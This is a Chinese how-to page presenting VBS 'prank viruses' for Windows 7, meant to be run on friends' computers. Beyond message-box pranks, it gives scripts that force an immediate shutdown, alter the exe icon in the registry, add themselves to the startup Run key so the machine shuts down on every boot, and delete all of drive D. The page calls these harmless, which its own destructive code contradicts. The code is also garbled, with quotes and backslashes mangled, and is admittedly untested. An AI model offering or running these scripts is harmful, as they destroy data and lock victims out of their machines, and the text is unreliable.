如何制作win7系统恶搞病毒？小趣味对系统无伤害-系统内阁

在平时的生活工作中，我们偶尔会无聊，因此就想搞点事情出来，或者有人想小报复朋友一下，于是有人就想制作vbs病毒，可是很多人不知道Windows7怎么制作vbs病毒，为此小编赶紧整理了制作vbs病毒教程，希望能帮助这些刚兴趣的朋友，注意只是恶搞，不是蓄意报复，而且也不会对对方系统有损害

　　方法/步骤：

　　1、首先，打开记事本。

　　2、输入代码（整人级）：

01'——————————–1-关不掉的窗口——————————–do while(1)MsgBox(;哈哈，你关不掉我！;)loop'——————————————————————————–'———————————–2-输入我是猪————————–do while(a<>;我是猪;)a=inputbox(;快在下面的框里输入我是猪;)if(a<>;我是猪;) thenMsgBox(;赶紧承认!!!;)end ifloop'——————————————————————————–复制代码

　　3、（中等）：

01'——————————–3-直接关机————————————dim wsset ws=CreateObject(;wscript.shell;)ws.run ;shutdown -f -s -t 00;,0 ,true'——————————————————————————–'——————————-4-改exe图标————————————Dim OperationRegistrySet OperationRegistry=WScript.CreateObject(;WScript.Shell;)OperationRegistry.RegWrite ;HKCRexefileDefaultIcon;,;C:WindowsSystem32imageres.dll,-2; '这里的C:WindowsSystem32imageres.dll,-2可以改成任意路径'——————————————————————————–复制代码

　　4、（破坏级）如果无法恢复，不要怪我咯*_*：

01'——!!注意危险!! 5-开机一完毕就关机(计算机无法使用) !!注意危险!!———-dim fsodim wsset fso=CreateObject(;Scripting.FileSystemObject;)set ws=CreateObject(;wscript.shell;)set f=fso.getfile(wscript.scriptfullname)ws.regwrite ;HKCUSoftwareMicrosoftWindowsCurrentVersionRun;&f.name,f.pathset ws=CreateObject(;wscript.shell;)ws.run ;shutdown -f -s -t 00;,0 ,true'——————————————————————————–'———-!!注意危险!! 6-格式化D盘(D盘下所有文件被删除) !!注意危险!!——-dim wsset ws=CreateObject(;wscript.shell;)ws.Run ;%Comspec% /c;&;RD /S /Q d:;,0,ture'——————————————————————————–复制代码

　　如果代码有问题，无法实现应有效果，请原谅。（一些vbs破坏性太强，我不敢实验）

　　5、保存：按下Ctrl+S快捷键，在弹出的窗口中选择文件类型：所有文件（*.*），在文件名处输入文件名，在文件名后面输入.vbs或.vbe，保存。